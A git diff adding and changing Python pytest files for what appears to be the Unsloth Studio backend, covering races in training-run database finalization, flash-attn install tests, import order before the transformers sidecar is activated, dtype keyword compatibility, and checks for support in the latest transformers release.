+    monkeypatch.setitem(sys.modules, "storage", fake_storage)
+    monkeypatch.setitem(sys.modules, "storage.studio_db", fake_db)
+
+    b._ensure_db_run_created()
+
+    assert observed["flag_during_create"] is False, "flag must not be published before insert"
+    assert observed["in_progress_during_create"] is True
+    assert b._db_run_created is True, "flag must be published after a successful insert"
+    assert b._db_create_in_progress is False
+
+
+def test_ensure_db_run_created_stays_unpublished_on_failure(monkeypatch):
+    # If create_run raises, neither flag stays set, so a later caller can retry.
+    b = TrainingBackend()
+    b.current_job_id = "job_z"
+    b._db_config = {"model_name": "m"}
+
+    fake_storage = _types.ModuleType("storage")
+    fake_db = _types.ModuleType("storage.studio_db")
+
+    def _boom_create(**kw):
+        raise RuntimeError("insert failed")
+
+    fake_db.create_run = _boom_create
+    fake_storage.studio_db = fake_db
+    monkeypatch.setitem(sys.modules, "storage", fake_storage)
+    monkeypatch.setitem(sys.modules, "storage.studio_db", fake_db)
+
+    b._ensure_db_run_created()
+
+    assert b._db_run_created is False, "a failed insert must not publish the row as created"
+    assert b._db_create_in_progress is False, "the in-progress flag must be cleared on failure"
+
+
+def test_ensure_db_run_created_does_not_publish_for_a_new_run(monkeypatch):
+    # A killed worker lets a new /start proceed while the watchdog is still creating the old
+    # run's row. The stale create must not publish the backend-wide flags against the new
+    # current_job_id, or the new run would skip inserting its own row.
+    b = TrainingBackend()
+    b.current_job_id = "job_old"
+    b._db_config = {"model_name": "m"}
+    b._db_run_created = False
+    b._db_create_in_progress = False
+
+    fake_storage = _types.ModuleType("storage")
+    fake_db = _types.ModuleType("storage.studio_db")
+
+    def _create(**kw):
+        b.current_job_id = "job_new"  # a new run takes over during the slow create
+
+    fake_db.create_run = _create
+    fake_storage.studio_db = fake_db
+    monkeypatch.setitem(sys.modules, "storage", fake_storage)
+    monkeypatch.setitem(sys.modules, "storage.studio_db", fake_db)
+
+    b._ensure_db_run_created()
+
+    assert b._db_run_created is False, "must not publish the created flag against the new run"
+    # The stale claim is left for start_training to reset, not satisfied for the new run.
+    assert b._db_create_in_progress is True, "must not clear the claim once the run is not current"
+
+
+# ----------------------------------------------------------------------------
+# (h) The escalation finalizes the watched run by id (so it is never left running).
+# ----------------------------------------------------------------------------
+
+
+def test_escalation_finalizes_watched_run_by_id_end_to_end(monkeypatch):
+    # Exercise the real _finish_stopped_run against a fake DB. The watched run is finalized
+    # by its captured id with its buffered metrics, so a new run that starts in the gap
+    # after the backend goes idle can never leave the stopped run recorded running.
+    recs = _install_fake_db(monkeypatch)
+    b = TrainingBackend()
+    b.current_job_id = "job_old"
+    b._db_run_created = True
+    b._proc = _FakeProc(alive = False)
+    b._progress.is_training = True
+    b._progress.step = 42
+    b._metric_buffer[:] = [{"step": 41}, {"step": 42}]
+
+    b._finalize_stopped_after_escalation(target_proc = b._proc, watched_job_id = "job_old")
+
+    assert [f["id"] for f in recs["finished"]] == ["job_old"], "must finish the captured run by id"
+    assert recs["finished"][0]["status"] == "stopped"
+    assert recs["insert_ids"] == ["job_old"], "buffered metrics must land on the captured run"
+    assert b._metric_buffer == [], "the captured batch must be drained"
+
+
+def test_escalation_defers_when_row_cannot_be_created_here(monkeypatch):
+    # If the row does not exist and cannot be created here (no db_config, or the pump is
+    # mid-create), the escalation must not claim _run_finalized or call _finish_stopped_run,
+    # so the pump's create-then-finalize records the run. Parent state still clears.
+    b = TrainingBackend()
+    called: list = []
+    monkeypatch.setattr(b, "_finish_stopped_run", lambda *a: called.append(a))
+
+    b._proc = _FakeProc(alive = False)
+    b.current_job_id = "job_q"
+    b._db_run_created = False  # row not created yet
+    b._db_config = None  # ... and cannot be created here
+    b._run_finalized = False
+    b._progress.is_training = True
+
+    b._finalize_stopped_after_escalation(target_proc = b._proc, watched_job_id = "job_q")
+
+    assert called == [], "must not finalize when the row can't be established here"
+    assert b._run_finalized is False, "must not claim the finalize the pump still owes"
+    assert b._progress.is_training is False, "parent state must still clear so the UI unsticks"
+    assert b._proc is None
+
+
+def test_escalation_creates_row_then_finalizes_when_start_create_failed(monkeypatch):
+    # A wedged worker's pump can never finalize and would bail once _proc is dropped, so if
+    # the row was never created (start-time create failed) the escalation creates it and
+    # finalizes by id itself, recording the terminal state before dropping the handle.
+    recs = _install_fake_db(monkeypatch)
+    b = TrainingBackend()
+    b.current_job_id = "job_s"
+    b._db_config = {"model_name": "m"}  # so _ensure_db_run_created can create the row
+    b._db_run_created = False  # start-time create failed
+    b._proc = _FakeProc(alive = True)  # wedged: still reports alive
+    b._should_stop = True
+    b._progress.is_training = True
+
+    b._finalize_stopped_after_escalation(target_proc = b._proc, watched_job_id = "job_s")
+
+    assert [c["id"] for c in recs["created"]] == ["job_s"], "must create the missing row"
+    assert [f["id"] for f in recs["finished"]] == ["job_s"], "must finish the created row by id"
+    assert b._proc is None, "handle dropped only after the terminal state is recorded"
+    assert b._db_run_created is True
+
+
+def test_escalation_does_not_drop_a_new_runs_handle(monkeypatch):
+    # If a run replaces the worker while the finalize DB write is in flight, the final _proc
+    # drop must leave the new run's handle intact (re-guarded on target_proc).
+    b = TrainingBackend()
+    b.current_job_id = "job_old"
+    b._db_run_created = True
+    old_proc = _FakeProc(alive = False)
+    new_proc = _FakeProc(alive = True)
+    b._proc = old_proc
+
+    def hijack(*a):
+        b._proc = new_proc  # a new run takes over during the finalize
+
+    monkeypatch.setattr(b, "_finish_stopped_run", hijack)
+
+    b._finalize_stopped_after_escalation(target_proc = old_proc, watched_job_id = "job_old")
+
+    assert b._proc is new_proc, "must not drop the handle a new run installed during finalize"
+
+
+def _make_finish_raise(monkeypatch, calls):
+    fn = sys.modules["storage.studio_db"]
+
+    def _boom(**kw):
+        calls.append(kw)
+        raise RuntimeError("database is locked")
+
+    fn.finish_run = _boom
+
+
+def test_finish_stopped_run_retries_then_unclaims_on_db_error(monkeypatch):
+    # The watchdog is the sole finalizer once _proc is dropped, so a transient DB error is
+    # retried a few times; on final failure the finalize is unclaimed (run still current).
+    monkeypatch.setitem(_G, "_DB_FINALIZE_RETRY_S", 0.0)
+    _install_fake_db(monkeypatch)
+    tries: list = []
+    _make_finish_raise(monkeypatch, tries)
+    b = TrainingBackend()
+    b.current_job_id = "job_r"
+    b._run_finalized = True  # the caller (escalation) already claimed
+
+    b._finish_stopped_run("job_r", None, [{"step": 1}], 1, None, None, [])
+
+    assert len(tries) == 3, "a transient DB error must be retried before giving up"
+    assert b._run_finalized is False, "a persistent DB error must unclaim the finalize"
+
+
+def test_finish_stopped_run_error_leaves_new_run_untouched(monkeypatch):
+    # If the watched run was superseded, a DB error must not unclaim the new run's finalize.
+    monkeypatch.setitem(_G, "_DB_FINALIZE_RETRY_S", 0.0)
+    _install_fake_db(monkeypatch)
+    _make_finish_raise(monkeypatch, [])
+    b = TrainingBackend()
+    b.current_job_id = "job_new"  # a new run is live
+    b._run_finalized = True  # the new run's flag
+
+    b._finish_stopped_run("job_old", None, [{"step": 1}], 1, None, None, [])
+
+    assert b._run_finalized is True, "must not unclaim the new run's finalize"
diff --git a/studio/backend/tests/test_training_worker_flash_attn.py b/studio/backend/tests/test_training_worker_flash_attn.py
index 3c5d6cd094..7e7fc1af48 100644
--- a/studio/backend/tests/test_training_worker_flash_attn.py
+++ b/studio/backend/tests/test_training_worker_flash_attn.py
@@ -59,7 +59,6 @@ def test_runtime_flash_attn_prefers_prebuilt_wheel(monkeypatch):
     statuses: list[str] = []
 
     monkeypatch.delenv(worker._FLASH_ATTN_SKIP_ENV, raising = False)
-    monkeypatch.setattr(worker, "has_blackwell_gpu", lambda: False)
     monkeypatch.setattr(builtins, "__import__", _missing_flash_attn_import())
     monkeypatch.setattr(
         worker,
@@ -88,7 +87,6 @@ def test_runtime_flash_attn_falls_back_to_pypi(monkeypatch):
     statuses: list[str] = []
 
     monkeypatch.delenv(worker._FLASH_ATTN_SKIP_ENV, raising = False)
-    monkeypatch.setattr(worker, "has_blackwell_gpu", lambda: False)
     monkeypatch.setattr(builtins, "__import__", _missing_flash_attn_import())
     monkeypatch.setattr(
         worker,
@@ -141,27 +139,6 @@ def test_runtime_flash_attn_skip_env_avoids_all_install_work(monkeypatch):
     worker._sp.run.assert_not_called()
 
 
-def test_runtime_flash_attn_skips_on_blackwell(monkeypatch):
-    statuses: list[str] = []
-    install_mock = mock.Mock()
-
-    monkeypatch.delenv(worker._FLASH_ATTN_SKIP_ENV, raising = False)
-    monkeypatch.setattr(worker, "_should_try_runtime_flash_attn_install", lambda max_seq: True)
-    monkeypatch.setattr(worker, "has_blackwell_gpu", lambda: True)
-    monkeypatch.setattr(worker, "_install_package_wheel_first", install_mock)
-    monkeypatch.setattr(
-        worker,
-        "_send_status",
-        lambda queue, message: statuses.append(message),
-    )
-
-    worker._ensure_flash_attn_for_long_context(event_queue = [], max_seq_length = 65536)
-
-    install_mock.assert_not_called()
-    assert len(statuses) == 1
-    assert "Blackwell" in statuses[0]
-
-
 def test_causal_conv1d_fast_path_preserves_wheel_first_install_args(monkeypatch):
     install_mock = mock.Mock(return_value = True)
     monkeypatch.setattr(worker, "_install_package_wheel_first", install_mock)
diff --git a/studio/backend/tests/test_training_worker_import_discipline.py b/studio/backend/tests/test_training_worker_import_discipline.py
new file mode 100644
index 0000000000..a047c91704
--- /dev/null
+++ b/studio/backend/tests/test_training_worker_import_discipline.py
@@ -0,0 +1,81 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Invariant: the training worker must not import ``transformers`` before it activates the
+transformers sidecar.
+
+``core/training/worker.py:run_training_process`` runs a preflight (Xet decision, logging, hardware
+detection) and only THEN calls ``_activate_transformers_version`` -> ``activate_transformers_for_subprocess``,
+which prepends the correct ``.venv_t5_*`` (5.x) sidecar to ``sys.path``. Because activation only edits
+``sys.path``, it is a no-op for any module already cached in ``sys.modules``. So if the preflight imports
+``transformers`` (directly or transitively via ``unsloth_zoo``), the default 4.57.x gets pinned before
+the sidecar is on the path -- and 5.x models (Qwen3.5, GLM-4.7, gemma-4) then fail to load their
+tokenizer/config ("Tokenizer class TokenizersBackend does not exist").
+
+This regression shipped once when ``utils/hf_xet_fallback.py`` eagerly imported ``unsloth_zoo`` (which
+imports ``transformers``) at module load; the worker imports that shim during preflight to decide the
+Xet env flip (see issue #6951). This test locks the invariant in a fresh interpreter. It is CPU-only,
+needs no network/GPU/weights/sidecars, so it runs in the standard ``studio-backend-ci`` matrix.
+"""
+
+from __future__ import annotations
+
+import subprocess
+import sys
+from pathlib import Path
+
+_BACKEND_DIR = Path(__file__).resolve().parent.parent  # studio/backend
+
+# Mirrors run_training_process's imports that run BEFORE _activate_transformers_version (worker.py);
+# keep in sync. torch-dependent imports are optional (a no-torch CI shard skips them) but must still
+# not drag in transformers.
+_PREFLIGHT_SNIPPET = r"""
+import sys
+
+# worker.py: from utils.hf_xet_fallback import child_should_disable_xet  (+ call it)
+from utils.hf_xet_fallback import child_should_disable_xet
+child_should_disable_xet({})
+
+# worker.py: from loggers.config import LogConfig
+from loggers.config import LogConfig  # noqa: F401
+
+# worker.py: from utils.hardware import hardware  (imports torch, not transformers)
+try:
+    from utils.hardware import hardware as _hw  # noqa: F401
+except Exception:
+    pass  # torch may be absent in a no-torch shard; the invariant below still applies
+
+# worker.py: from .training import is_apple_silicon_training_platform, should_use_mlx_training_backend
+# (the MLX-dispatch preflight; must also stay clear of transformers). Guarded because it may pull
+# unsloth/trl, absent in a minimal shard -- but a partial import that leaked transformers would still
+# be caught by the assertion below.
+try:
+    from core.training.training import (  # noqa: F401
+        is_apple_silicon_training_platform as _is_apple,
+        should_use_mlx_training_backend as _use_mlx,
+    )
+except Exception:
+    pass
+
+leaked_tf = sorted(m for m in sys.modules if m == "transformers" or m.startswith("transformers."))
+leaked_zoo = sorted(m for m in sys.modules if m == "unsloth_zoo" or m.startswith("unsloth_zoo."))
+assert not leaked_tf, f"transformers imported during worker preflight (before sidecar activation): {leaked_tf}"
+assert not leaked_zoo, f"unsloth_zoo imported during worker preflight (before sidecar activation): {leaked_zoo}"
+print("PREFLIGHT_CLEAN")
+"""
+
+
+def test_worker_preflight_does_not_import_transformers():
+    """A fresh interpreter running the worker's pre-activation imports must leave ``transformers``
+    (and ``unsloth_zoo``) unimported, so the 5.x sidecar prepend is not defeated by a stale module."""
+    result = subprocess.run(
+        [sys.executable, "-c", _PREFLIGHT_SNIPPET],
+        cwd = str(_BACKEND_DIR),
+        capture_output = True,
+        text = True,
+    )
+    assert result.returncode == 0, (
+        "Worker preflight imported transformers before sidecar activation.\n"
+        f"STDOUT:\n{result.stdout}\nSTDERR:\n{result.stderr}"
+    )
+    assert "PREFLIGHT_CLEAN" in result.stdout, result.stdout
diff --git a/studio/backend/tests/test_transformers_dtype.py b/studio/backend/tests/test_transformers_dtype.py
new file mode 100644
index 0000000000..28629e5620
--- /dev/null
+++ b/studio/backend/tests/test_transformers_dtype.py
@@ -0,0 +1,77 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the version-safe torch_dtype/dtype kwarg helper."""
+
+import sys
+import types
+
+import pytest
+
+from utils.transformers_dtype import _has_torch_dtype_kwarg, dtype_kwargs
+
+
+@pytest.fixture(autouse = True)
+def _clear_cache():
+    _has_torch_dtype_kwarg.cache_clear()
+    yield
+    _has_torch_dtype_kwarg.cache_clear()
+
+
+def _stub_transformers(monkeypatch, version):
+    stub = types.ModuleType("transformers")
+    stub.__version__ = version
+    monkeypatch.setitem(sys.modules, "transformers", stub)
+
+
+def test_old_transformers_uses_torch_dtype(monkeypatch):
+    _stub_transformers(monkeypatch, "4.51.3")
+    assert _has_torch_dtype_kwarg() is True
+    assert dtype_kwargs("float16") == {"torch_dtype": "float16"}
+
+
+def test_new_transformers_uses_dtype(monkeypatch):
+    _stub_transformers(monkeypatch, "4.57.6")
+    assert _has_torch_dtype_kwarg() is False
+    assert dtype_kwargs("float16") == {"dtype": "float16"}
+
+
+def test_rename_boundary_uses_dtype(monkeypatch):
+    _stub_transformers(monkeypatch, "4.56.0")
+    assert _has_torch_dtype_kwarg() is False
+
+
+def test_just_below_boundary_uses_torch_dtype(monkeypatch):
+    _stub_transformers(monkeypatch, "4.55.4")
+    assert _has_torch_dtype_kwarg() is True
+
+
+@pytest.mark.parametrize("version", ["4.56.0.dev0", "4.56.0rc1"])
+def test_rename_prerelease_uses_dtype(monkeypatch, version):
+    """A pre-release of the rename version sorts *below* ``4.56.0`` but already
+    accepts (and prefers) ``dtype``; the release-tuple check must not fall back to
+    the legacy name there, or it re-emits the deprecation warning it suppresses."""
+    _stub_transformers(monkeypatch, version)
+    assert _has_torch_dtype_kwarg() is False
+
+
+def test_malformed_version_prefers_modern_name(monkeypatch):
+    """A non-PEP440 __version__ raises InvalidVersion; the except branch must
+    swallow it and default to the modern name rather than crash the embedder warm-up."""
+    _stub_transformers(monkeypatch, "not-a-version")
+    assert _has_torch_dtype_kwarg() is False
+    assert dtype_kwargs("float16") == {"dtype": "float16"}
+
+
+def test_missing_transformers_prefers_modern_name(monkeypatch):
+    monkeypatch.delitem(sys.modules, "transformers", raising = False)
+    real_import = __import__
+
+    def _raise(name, *args, **kwargs):
+        if name == "transformers":
+            raise ImportError("no transformers")
+        return real_import(name, *args, **kwargs)
+
+    monkeypatch.setattr("builtins.__import__", _raise)
+    assert _has_torch_dtype_kwarg() is False
+    assert dtype_kwargs("float16") == {"dtype": "float16"}
diff --git a/studio/backend/tests/test_transformers_latest.py b/studio/backend/tests/test_transformers_latest.py
new file mode 100644
index 0000000000..20616dccba
--- /dev/null
+++ b/studio/backend/tests/test_transformers_latest.py
@@ -0,0 +1,1099 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the latest-transformers support check and the consented sidecar install."""
+
+import ast
+import json
+import os
+import textwrap
+import time
+import pytest
+from pathlib import Path
+
+
+# The backend uses "from utils..." imports; ensure the backend dir is on sys.path.
+import sys
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Stub the custom logger before importing the modules under test.
+import types as _types
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+import utils.transformers_latest as tl
+import utils.transformers_version as tv
+from utils.transformers_latest import (
+    check_upgrade_for_model,
+    install_latest_transformers,
+    latest_transformers_supports,
+    _fetch_remote_model_types,
+    _model_types_from_config,
+)
+from utils.transformers_version import (
+    _config_mapping_cache,
+    _config_json_cache,
+    _higher_tier,
+    _is_valid_version_string,
+    _model_types_from_source,
+    _tier_from_config_mapping,
+    _venv_t5_latest_packages,
+    activate_transformers_for_subprocess,
+    ensure_latest_transformers_venv,
+    get_transformers_tier,
+    latest_venv_pinned_version,
+)
+
+
+# A CONFIG_MAPPING_NAMES source exercising every construct the AST extractor supports.
+_MAPPING_SOURCE = """
+from collections import OrderedDict
+CONFIG_MAPPING_NAMES = OrderedDict(
+    [
+        ("llama", "LlamaConfig"),
+        ("gemma4", "Gemma4Config"),
+    ],
+    **{"qwen3_moe": "Qwen3MoeConfig"},
+)
+CONFIG_MAPPING_NAMES.update({"brandnew_arch": "BrandNewConfig"})
+"""
+
+_MAIN_ONLY_SOURCE = """
+CONFIG_MAPPING_NAMES = {
+    "llama": "LlamaConfig",
+    "gemma4": "Gemma4Config",
+    "qwen3_moe": "Qwen3MoeConfig",
+    "brandnew_arch": "BrandNewConfig",
+    "dev_only_arch": "DevOnlyConfig",
+}
+"""
+
+
+class _FakeResponse:
+    def __init__(self, body: bytes):
+        self._body = body
+
+    def read(self):
+        return self._body
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, *args):
+        return False
+
+
+def _fake_urlopen_factory(counter: dict):
+    """urlopen stub serving the PyPI JSON and both refs' mapping sources."""
+
+    def _fake_urlopen(req, timeout = None):
+        url = req.full_url if hasattr(req, "full_url") else str(req)
+        counter[url] = counter.get(url, 0) + 1
+        counter["__total__"] = counter.get("__total__", 0) + 1
+        if url == tl._PYPI_JSON_URL:
+            return _FakeResponse(json.dumps({"info": {"version": "5.13.0"}}).encode())
+        if "/v5.13.0/" in url and url.endswith("auto_mappings.py"):
+            return _FakeResponse(_MAPPING_SOURCE.encode())
+        if "/v5.13.0/" in url and url.endswith("configuration_auto.py"):
+            return _FakeResponse(b"CONFIG_MAPPING_NAMES = {}\n")
+        if "/main/" in url and url.endswith("auto_mappings.py"):
+            return _FakeResponse(_MAIN_ONLY_SOURCE.encode())
+        if "/main/" in url and url.endswith("configuration_auto.py"):
+            return _FakeResponse(b"CONFIG_MAPPING_NAMES = {}\n")
+        raise AssertionError(f"unexpected URL fetched: {url}")
+
+    return _fake_urlopen
+
+
+@pytest.fixture(autouse = True)
+def _isolated_caches(tmp_path: Path, monkeypatch):
+    """Fresh in-memory + on-disk caches per test; no accidental real studio_root writes."""
+    tl.clear_caches()
+    monkeypatch.setattr(tl, "_cache_file", lambda: tmp_path / "transformers_latest_check.json")
+    # The sidecar swap reservation writes a lock file next to the venv dir;
+    # point it at tmp so tests never touch the real studio root.
+    monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / "venv_t5_latest"))
+    monkeypatch.delenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", raising = False)
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    yield
+    tl.clear_caches()
+
+
+def _no_network(monkeypatch, exc = None):
+    """Fail every urlopen and return a counter; tests assert n == 0 to prove no fetch
+    happened (check_upgrade_for_model swallows exceptions, so a raising stub alone
+    cannot prove the negative)."""
+    calls = {"n": 0}
+
+    def _raise(*args, **kwargs):
+        calls["n"] += 1
+        raise (exc or OSError("network fetch attempted"))
+
+    monkeypatch.setattr("urllib.request.urlopen", _raise)
+    return calls
+
+
+# --- AST extraction shared with the static router ---
+
+
+class TestModelTypesFromSource:
+    def test_ordereddict_update_and_unpacking(self):
+        keys = _model_types_from_source(_MAPPING_SOURCE)
+        assert keys == {"llama", "gemma4", "qwen3_moe", "brandnew_arch"}
+
+    def test_plain_dict_literal(self):
+        keys = _model_types_from_source(_MAIN_ONLY_SOURCE)
+        assert "dev_only_arch" in keys and "llama" in keys
+
+    def test_syntax_error_raises_for_caller_to_handle(self):
+        with pytest.raises(SyntaxError):
+            _model_types_from_source("def broken(:\n")
+
+
+class TestFetchRemoteModelTypes:
+    def test_merges_both_auto_files(self, monkeypatch):
+        counter = {}
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory(counter))
+        keys = _fetch_remote_model_types("v5.13.0")
+        assert keys is not None and "brandnew_arch" in keys
+
+    def test_all_fetches_failing_returns_none(self, monkeypatch):
+        _no_network(monkeypatch, exc = OSError("no route"))
+        assert _fetch_remote_model_types("main") is None
+
+    def test_empty_mapping_treated_as_failure(self, monkeypatch):
+        monkeypatch.setattr(
+            "urllib.request.urlopen",
+            lambda req, timeout = None: _FakeResponse(b"CONFIG_MAPPING_NAMES = {}\n"),
+        )
+        assert _fetch_remote_model_types("main") is None
+
+    def test_transient_failure_of_one_file_fails_whole_lookup(self, monkeypatch):
+        # One file times out: the partial map must not be returned and cached.
+        def _fake(req, timeout = None):
+            url = req.full_url if hasattr(req, "full_url") else str(req)
+            if url.endswith("configuration_auto.py"):
+                return _FakeResponse(_MAPPING_SOURCE.encode())
+            raise OSError("timed out")
+
+        monkeypatch.setattr("urllib.request.urlopen", _fake)
+        assert _fetch_remote_model_types("main") is None
+
+    def test_missing_auto_mappings_404_still_succeeds(self, monkeypatch):
+        # Pre-5.10 tags have no auto_mappings.py; a 404 must not fail the lookup.
+        import urllib.error
+
+        def _fake(req, timeout = None):
+            url = req.full_url if hasattr(req, "full_url") else str(req)
+            if url.endswith("configuration_auto.py"):
+                return _FakeResponse(_MAPPING_SOURCE.encode())
+            raise urllib.error.HTTPError(url, 404, "Not Found", None, None)
+
+        monkeypatch.setattr("urllib.request.urlopen", _fake)
+        keys = _fetch_remote_model_types("v5.9.0")
+        assert keys is not None and "brandnew_arch" in keys
+
+    def test_unparseable_file_fails_whole_lookup(self, monkeypatch):
+        def _fake(req, timeout = None):
+            url = req.full_url if hasattr(req, "full_url") else str(req)
+            if url.endswith("configuration_auto.py"):
+                return _FakeResponse(_MAPPING_SOURCE.encode())
+            return _FakeResponse(b"def broken(:\n")
+
+        monkeypatch.setattr("urllib.request.urlopen", _fake)
+        assert _fetch_remote_model_types("main") is None
+
+
+# --- latest_transformers_supports: snapshot, cache, offline, kill switch ---
+
+
+class TestLatestTransformersSupports:
+    def test_supported_in_pypi(self, monkeypatch):
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        result = latest_transformers_supports("brandnew_arch")
+        assert result == {
+            "pypi_version": "5.13.0",
+            "supported_in_pypi": True,
+            "supported_in_main": True,
+        }
+
+    def test_dev_only_arch_reported_main_only(self, monkeypatch):
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        result = latest_transformers_supports("dev_only_arch")
+        assert result["supported_in_pypi"] is False
+        assert result["supported_in_main"] is True
+
+    def test_unknown_everywhere(self, monkeypatch):
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        result = latest_transformers_supports("no_such_arch")
+        assert result["supported_in_pypi"] is False and result["supported_in_main"] is False
+
+    def test_network_failure_returns_none(self, monkeypatch):
+        _no_network(monkeypatch, exc = OSError("down"))
+        assert latest_transformers_supports("brandnew_arch") is None
+
+    def test_offline_returns_none_without_fetch(self, monkeypatch):
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        calls = _no_network(monkeypatch)
+        assert latest_transformers_supports("brandnew_arch") is None
+        assert calls["n"] == 0
+
+    def test_kill_switch_returns_none_without_fetch(self, monkeypatch):
+        monkeypatch.setenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "1")
+        calls = _no_network(monkeypatch)
+        assert latest_transformers_supports("brandnew_arch") is None
+        assert calls["n"] == 0
+
+    def test_memory_cache_hit_avoids_refetch(self, monkeypatch):
+        counter = {}
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory(counter))
+        latest_transformers_supports("brandnew_arch")
+        first_total = counter["__total__"]
+        latest_transformers_supports("some_other_arch")
+        assert counter["__total__"] == first_total
+
+    def test_disk_cache_survives_restart(self, monkeypatch):
+        counter = {}
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory(counter))
+        latest_transformers_supports("brandnew_arch")
+        # Simulate a restart: memory gone, disk snapshot stays, network unavailable.
+        tl.clear_caches()
+        _no_network(monkeypatch)
+        result = latest_transformers_supports("brandnew_arch")
+        assert result is not None and result["supported_in_pypi"] is True
+
+    def test_expired_snapshot_refetches(self, monkeypatch):
+        counter = {}
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory(counter))
+        latest_transformers_supports("brandnew_arch")
+        stale = dict(tl._memory_snapshot, fetched_at = time.time() - tl._CACHE_TTL_SECONDS - 1)
+        tl.clear_caches()
+        tl._save_snapshot_file(stale)
+        first_total = counter["__total__"]
+        latest_transformers_supports("brandnew_arch")
+        assert counter["__total__"] > first_total
+
+    def test_corrupt_disk_cache_ignored(self, monkeypatch, tmp_path: Path):
+        counter = {}
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory(counter))
+        tl._cache_file().write_text("{not json", encoding = "utf-8")
+        result = latest_transformers_supports("brandnew_arch")
+        assert result is not None and counter["__total__"] > 0
+
+    def test_failure_backoff_skips_immediate_retry(self, monkeypatch):
+        calls = {"n": 0}
+
+        def _fail(*args, **kwargs):
+            calls["n"] += 1
+            raise OSError("down")
+
+        monkeypatch.setattr("urllib.request.urlopen", _fail)
+        assert latest_transformers_supports("brandnew_arch") is None
+        first = calls["n"]
+        assert latest_transformers_supports("brandnew_arch") is None
+        assert calls["n"] == first  # backed off, no second network attempt
+
+
+# --- check_upgrade_for_model: the tier hook ---
+
+
+def _local_model(tmp_path: Path, model_type: str) -> str:
+    d = tmp_path / f"model_{model_type}"
+    d.mkdir()
+    (d / "config.json").write_text(json.dumps({"model_type": model_type}))
+    return str(d)
+
+
+_FAKE_OVERLAYS = {
+    "default": frozenset({"llama", "bert", "gpt2"}),
+    "530": frozenset({"qwen3_moe", "qwen3_next"}),
+    "550": frozenset({"gemma4"}),
+    "510": frozenset({"gemma4_unified"}),
+    "latest": frozenset(),
+}
+
+
+def _fake_overlays(monkeypatch, overlays = None):
+    overlays = overlays or _FAKE_OVERLAYS
+    fake = lambda tier: overlays.get(tier, frozenset())
+    monkeypatch.setattr(tv, "_config_model_types", fake)
+    monkeypatch.setattr(tl, "_config_model_types", fake)
+
+
+class TestCheckUpgradeForModel:
+    def test_unknown_type_supported_in_pypi_signals(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        result = check_upgrade_for_model(_local_model(tmp_path, "brandnew_arch"))
+        assert result == {
+            "model_type": "brandnew_arch",
+            "pypi_version": "5.13.0",
+            "supported_in_pypi": True,
+            "supported_in_main": True,
+        }
+
+    def test_dev_only_type_signals_main_only(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        result = check_upgrade_for_model(_local_model(tmp_path, "dev_only_arch"))
+        assert result["supported_in_pypi"] is False and result["supported_in_main"] is True
+
+    def test_unknown_everywhere_falls_through(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        assert check_upgrade_for_model(_local_model(tmp_path, "no_such_arch")) is None
+
+    def test_offline_falls_through_without_fetch(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        monkeypatch.setenv("TRANSFORMERS_OFFLINE", "1")
+        calls = _no_network(monkeypatch)
+        assert check_upgrade_for_model(_local_model(tmp_path, "brandnew_arch")) is None
+        assert calls["n"] == 0
+
+    def test_network_failure_falls_through(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        _no_network(monkeypatch, exc = OSError("down"))
+        assert check_upgrade_for_model(_local_model(tmp_path, "brandnew_arch")) is None
+
+    def test_known_default_type_never_fetches(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        calls = _no_network(monkeypatch)
+        assert check_upgrade_for_model(_local_model(tmp_path, "llama")) is None
+        assert calls["n"] == 0
+
+    def test_known_sidecar_type_never_fetches(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        calls = _no_network(monkeypatch)
+        assert check_upgrade_for_model(_local_model(tmp_path, "gemma4_unified")) is None
+        assert calls["n"] == 0
+
+    def test_hardcoded_tier_type_never_fetches_even_without_overlays(
+        self, tmp_path: Path, monkeypatch
+    ):
+        # Sidecar overlays unreadable, but the hardcoded tables route it.
+        _fake_overlays(
+            monkeypatch,
+            {"default": frozenset({"llama"})},
+        )
+        calls = _no_network(monkeypatch)
+        assert check_upgrade_for_model(_local_model(tmp_path, "qwen3_5_moe")) is None
+        assert calls["n"] == 0
+
+    def test_unreadable_default_overlay_bails_out(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch, {"default": frozenset()})
